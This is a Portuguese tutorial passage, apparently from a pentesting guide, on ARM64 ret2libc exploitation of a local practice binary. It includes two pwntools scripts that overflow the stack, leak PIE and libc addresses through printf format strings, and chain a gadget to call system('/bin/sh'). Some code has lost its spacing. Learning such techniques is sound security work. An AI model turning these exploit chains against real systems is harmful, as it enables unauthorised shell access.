Criando um padrão com pattern create 200, usando-o e verificando o deslocamento com pattern search $x30 podemos ver que o deslocamento é 108 (0x6c).
Dando uma olhada na função principal desmontada, podemos ver que gostaríamos de pular para a instrução que pula diretamente para o printf, cujo deslocamento a partir de onde o binário é carregado é 0x860:
Encontrar system e a string /bin/sh
Como o ASLR está desativado, os endereços serão sempre os mesmos:
Encontrar Gadgets
Precisamos ter em x0 o endereço da string /bin/sh e chamar system.
Usando o rooper, foi encontrado um gadget interessante:
Este gadget irá carregar x0 de $sp + 0x18 e então carregar os endereços x29 e x30 do sp e saltar para x30. Com este gadget podemos controlar o primeiro argumento e depois saltar para o sistema.
Exploração
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - Bypasso de NX, ASLR e PIE com vazamentos do printf a partir da pilha
Definindo um ponto de interrupção antes de chamar o printf, é possível ver que existem endereços para retornar ao binário na pilha e também endereços libc:
Ao tentar diferentes deslocamentos, o %21$p pode vazar um endereço binário (bypass do PIE) e o %25$p pode vazar um endereço libc:
Subtraindo o endereço vazado do libc com o endereço base do libc, é possível ver que o deslocamento do endereço vazado a partir da base é 0x49c40.
Deslocamento x30
Veja o exemplo anterior, pois o estouro de buffer é o mesmo.
Encontrar Gadgets
Como no exemplo anterior, precisamos ter em x0 o endereço para a string /bin/sh e chamar system.
Usando o rooper, outro gadget interessante foi encontrado:
Este gadget irá carregar x0 de $sp + 0x78 e então carregar os endereços x29 e x30 do sp e saltar para x30. Com este gadget podemos controlar o primeiro argumento e depois saltar para o sistema.
Exploração
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()